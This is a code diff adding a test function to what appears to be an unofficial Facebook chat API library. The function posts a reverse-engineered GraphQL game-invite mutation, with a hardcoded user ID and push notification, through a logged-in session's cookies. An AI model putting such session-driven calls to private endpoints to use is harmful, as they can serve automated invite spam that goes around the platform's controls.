+ ctx.mqttClient.publish('/ls_req',form)
65
+
66
+ return returnPromise;
67
+ };
68
+ };
@@ -0,0 +1,71 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+
6
+ module.exports = function (defaultFuncs, api, ctx) {
7
+ return async function shareTest(text, senderID, threadID, callback) {
8
+ var resolveFunc = function () { };
9
+ var rejectFunc = function () { };
10
+ var returnPromise = new Promise(function (resolve, reject) {
11
+ resolveFunc = resolve;
12
+ rejectFunc = reject;
13
+ });
14
+ if (!callback) {
15
+ callback = function (err, data) {
16
+ if (err) return rejectFunc(err);
17
+ resolveFunc(data);
18
+ };
19
+ }
20
+ console.log('11111111111')
21
+
22
+
23
+ const form = {
24
+ image_file: global.Fca.Require.fs.readFileSync(__dirname + "/abc.jpg", 'base64') ,
25
+ av: 100077059530660,
26
+ fb_api_req_friendly_name: "CustomUpdateMutationModern_MarkAfterShareShownMutation",
27
+ lsd: "0",
28
+
29
+ variables:JSON.stringify({
30
+ input: {
31
+ "context_token_id": "0",
32
+ "cta": "Play Now",
33
+ "data":JSON.stringify({
34
+ "inviteTime": 1713075355422,
35
+ "inviteId": 2566710246101,
36
+ "contextId": "0",
37
+ "inviteActivityId": 220097,
38
+ "type": "invite_friend_friendlist",
39
+ "token": ""
40
+ }),
41
+ "extra": JSON.stringify({
42
+ "template": "join_fight",
43
+ "notification": "PUSH"
44
+ }),
45
+ "game_id": "0",
46
+ "image_file_content_type": "application/base64",
47
+ "play_style": "BASIC",
48
+ "session_id": utils.getGUID(),
49
+ "text": "0",
50
+ "actor_id": "100077059530660",
51
+ "client_mutation_id":Math.round(Math.random()*19).toString()
52
+ }
53
+ }),
54
+ fb_api_caller_class: "RelayModern",
55
+ server_timestamps: true,
56
+ doc_id: 0
57
+ }
58
+ defaultFuncs
59
+ .post("https://www.facebook.com/api/graphql", ctx.jar, form)
60
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
61
+ .then(function(resData) {
62
+ console.log(resData)
63
+ if (resData.error) throw resData;
64
+ else return callback(null,true)
65
+ })
66
+ .catch(function(err) {
67
+ return callback(err);
68
+ });
69
+ return returnPromise;
70
+ };
71
+ };